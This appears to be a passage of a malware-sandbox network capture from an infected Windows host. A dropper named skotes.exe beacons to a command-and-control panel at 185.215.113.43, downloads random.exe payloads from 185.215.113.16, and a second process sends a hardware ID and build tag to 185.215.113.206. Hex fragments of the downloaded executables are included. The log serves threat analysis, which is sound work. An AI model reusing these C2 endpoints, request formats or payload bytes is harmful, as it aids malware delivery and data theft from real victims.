r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:38:08.378794909 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 35 0d 0a 20 3c 63 3e 31 30 30 35 37 32 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 37 32 36 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 37 32 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 <c>1005725001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005726031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005727001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50114	185.215.113.16	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:08.387702942 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 10:38:09.302942038 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:09 GMT Content-Type: application/octet-stream Content-Length: 1830912 Last-Modified: Tue, 12 Nov 2024 09:17:23 GMT Connection: keep-alive ETag: "67331d23-1bf000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 20 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 6a 00 00 04 00 00 49 3b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@" j@PjI;@M$a$ $b@.rsrc $r@.idata $r@ *$t@uafzsnka`OTv@hprbfhsaj@.taggant0 j"@
Nov 12, 2024 10:38:09.303015947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:09.303029060 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:09.303201914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:09.303214073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dPH}xt
Nov 12, 2024 10:38:09.303225040 CET	1236	IN	Data Raw: 4b 80 22 85 9c 7d 45 09 8d a0 f3 1c 9d 68 68 77 57 7d be e2 c6 f8 b3 95 0b 6d a3 10 5b ac 32 d7 42 46 41 1e 80 6f 1d b5 75 ed bf 34 82 c3 37 58 36 50 ca e5 f5 9b 19 05 05 ea 4b 0d eb 7a a1 13 38 e4 01 ee 45 cf e9 93 7f 6a 2a 1b 69 93 32 e5 05 1c Data Ascii: K"}EhhwW}m[2BFAou47X6PKz8Eji2rQxrwS;x]-&S4G__jiDGK/B0Ue_eN} hLY $rXsaP>JO$vLF\|\|+ztT
Nov 12, 2024 10:38:09.303330898 CET	1236	IN	Data Raw: 65 f4 f2 f7 e8 6e f8 47 97 10 b8 d8 e5 ad dc 29 79 d2 da 56 93 0b d9 72 14 e7 54 b7 f8 80 0f 3b 0f e7 81 17 31 eb e4 e5 eb 2d 0f c7 fb 75 03 5c f8 f4 8c e4 cd 4c 02 3a 19 bd 4c 8e bc 17 20 c0 94 6e c4 c7 8b aa 35 c5 e8 ea b4 30 5f 6d 08 d1 6a 10 Data Ascii: enG)yVrT;1-u\L:L n50_mjp_zWx6^L!7h7xlovysSxVo@Oqlp-3HIOy 3Oj7*{E(r<`A )nceJdP? P)[B+Z,iJXok
Nov 12, 2024 10:38:09.303344011 CET	1236	IN	Data Raw: 4b 7d e9 c4 58 34 b4 85 5d a6 48 32 a4 35 4c 79 7a 1c 06 25 01 7e 70 21 46 a8 0c d9 40 46 d9 61 70 75 e2 2a 59 1e 31 7a c7 6d 2e c0 45 28 43 a1 aa aa de 47 39 68 31 73 ef b8 c9 26 df c9 6a 74 25 5a fe 7b 76 68 55 39 66 f9 3b ed 28 ae 1c 9c 74 50 Data Ascii: K}X4]H25Lyz%~p!F@FapuY1zm.E(CG9h1s&jt%Z{vhU9f;(tPJ~ZL,[py><lW$TmCry69d(&oTh e?Nuh{c9~>(%t`PIjal~&uT9(8eta\|vs}y\|l
Nov 12, 2024 10:38:09.303354025 CET	1236	IN	Data Raw: f7 e4 46 3a e0 ed 65 40 4b 37 bc a7 64 f4 34 4e 37 f2 53 a5 3e aa 5c 28 c7 74 e5 a3 41 7e 4d fa f2 40 f7 48 73 90 a7 7e 1b 78 2d 0b 6a 68 eb 27 37 79 9e b9 9f 71 48 40 4c 6e 5d 76 e3 6c 70 3e 93 ae d2 7b 43 e8 43 7e 25 78 f3 12 e1 94 46 86 0b 8a Data Ascii: F:e@K7d4N7S>\(tA~M@Hs~x-jh'7yqH@Ln]vlp>{CC~%xFl8ZD"ir~q.di5lD8 D@HYCe+RieP7>K48FrSI FSm?CxFSrY~_([\_XH4p&t
Nov 12, 2024 10:38:09.303366899 CET	1236	IN	Data Raw: 53 f2 d4 c2 64 f4 d8 50 3b 7e fd c4 58 60 b4 2a 61 00 2b dc 1a 6c 44 4e 39 e4 cb 24 1c be d2 26 32 7a 30 0c cf 87 ed a6 c1 76 a5 86 65 f0 4c 56 e0 ed d1 48 ce 04 53 0b bb 6c e5 84 dd 71 b1 88 40 b4 7c 0b a7 e8 0c a1 22 5f 01 39 f4 dc b0 86 83 8c Data Ascii: SdP;~X`*a+lDN9$&2z0veLVHSlq@\|"_9@@E4>0@r s~{lL4[,sa(1F(@\'{?#$a}q[;iY,ol5yA"0bg5\|e\IolF!#l9;j@2"UK
Nov 12, 2024 10:38:09.308336973 CET	1236	IN	Data Raw: 65 85 58 11 7b ec e8 7e 7b 78 71 0b 5a 38 34 a6 e0 f9 46 4f 2d 94 60 a9 4f 16 af 86 f0 2c fc 3c 30 bb 06 94 45 74 6d a5 ef ee 81 60 40 67 86 3a 0a f3 fd f8 13 b4 ac 5e 26 f4 33 db ae 95 c9 c8 1a 87 cb 63 6f 35 b8 7b 6f 2e e9 44 30 c9 1b 76 82 9d Data Ascii: eX{~{xqZ84FO-`O,<0Etm`@g:^&3co5{o.D0vaqRuHQxG%8pvjMsx+f0\e)vV\|k\ybTqP.i-pk.L"/(;,=J4(0t; >Atp{+UO=M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50115	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:13.218187094 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005725001&unit=246122658369
Nov 12, 2024 10:38:14.116050005 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50116	185.215.113.206	80	8808	C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:13.760649920 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 10:38:14.669776917 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:38:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:38:14.672415972 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 31 36 30 30 31 39 37 36 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="hwid"5F16001976C22312027626------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="build"mars------FHIDAKFIJJKJJJKEBKJE--
Nov 12, 2024 10:38:14.958457947 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:38:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50117	185.215.113.16	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:14.283859968 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 12 Nov 2024 09:17:23 GMT If-None-Match: "67331d23-1bf000"
Nov 12, 2024 10:38:15.183053017 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:15 GMT Last-Modified: Tue, 12 Nov 2024 09:17:23 GMT Connection: keep-alive ETag: "67331d23-1bf000"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50118	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:17.139831066 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 32 36 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005726031&unit=246122658369
Nov 12, 2024 10:38:18.052911043 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50119	185.215.113.16	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:18.063030958 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 10:38:18.971743107 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:18 GMT Content-Type: application/octet-stream Content-Length: 2827264 Last-Modified: Tue, 12 Nov 2024 09:16:27 GMT Connection: keep-alive ETag: "67331ceb-2b2400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 f5 ca 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@yyrvszcp*:@gtqkfyvh +@.taggant@+"+@
Nov 12, 2024 10:38:18.971760035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:18.971771955 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:18.971781969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:18.971793890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:18.971847057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:18.971858978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:18.972038031 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:38:18.972048998 CET	1236	IN	Data Raw: 1b 93 ba 94 42 ab 88 6a eb 59 35 34 e7 f1 24 65 a3 02 30 31 d9 53 42 2f a9 09 ec 45 ab fa 14 75 51 07 19 8d 75 de 23 2b 07 f8 41 c4 93 a3 12 58 2b f2 2b ae 81 d3 6a 34 db 21 13 7a 21 12 a1 49 56 00 32 51 d2 ff 29 37 dd fc 14 42 ae 4f 3a 39 fc 33 Data Ascii: BjY54$e01SB/EuQu#+AX++j4!z!IV2Q)7BO:93DG5jG0c0OxAx\<yUq-Fq@:lB+u,wH~ET\}C;K:>n;VwIh$<KFA:V0\.N>=;]q
Nov 12, 2024 10:38:18.972060919 CET	1236	IN	Data Raw: 39 20 53 79 3e 15 99 f2 ad ff 4a 74 97 1c 0b a3 49 44 5b 68 7b 5b ad ae 95 e0 ae 4d 87 e3 f6 cd d0 7c 40 fd ad 80 1f 74 57 f3 96 c2 5f d8 8f 96 67 e5 a6 b4 12 f8 c6 4d 17 ff 9e 87 6f 64 a9 0d e8 cc 19 f3 dc d4 83 da 0b 96 83 fe df 39 44 03 08 b5 Data Ascii: 9 Sy>JtID[h{[M\|@tW_gMod9DXDS uOv.4\|d6D#%5NCLZ`jeD\gM!t-MHy-8\|n\|v!`@M/I8AU#1}4R-TUC4YP@`\|=G<PoRi
Nov 12, 2024 10:38:18.978039980 CET	1236	IN	Data Raw: db 7b 85 3b 68 39 38 49 b7 f2 57 0d a8 00 b7 84 cd 25 bc 96 e7 10 b1 96 78 35 5b d1 5f ef 5e 65 a9 39 67 7f de aa f7 76 55 cf 74 c6 1a a6 ed d3 05 dc 16 45 a5 b1 df b2 15 ee 00 84 b9 e9 40 36 96 32 48 a9 2d 16 83 40 69 41 53 13 b2 c7 b7 3f 53 67 Data Ascii: {;h98IW%x5[_^e9gvUtE@62H-@iAS?Sg96"\|6toJ@Lwj_Uj?3Wpg\|l`J.P)yWT9z=V>kXj%Gp@gxA^EL$/>CG495@o:"[p]X7'9R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50121	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:23.162276030 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005727001&unit=246122658369
Nov 12, 2024 10:38:24.776263952 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 12, 2024 10:38:24.776403904 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 12, 2024 10:38:24.776423931 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50123	185.215.113.206	80	7332	C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:26.255808115 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 10:38:27.159019947 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:38:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:38:27.162136078 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 31 36 30 30 31 39 37 36 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 2d 2d 0d 0a Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="hwid"5F16001976C22312027626------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="build"mars------IJEBKKEGDBFIIEBFHIEH--
Nov 12, 2024 10:38:27.439826012 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:38:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50124	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:26.608304024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:38:27.507153988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50126	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:29.030191898 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:38:29.944189072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

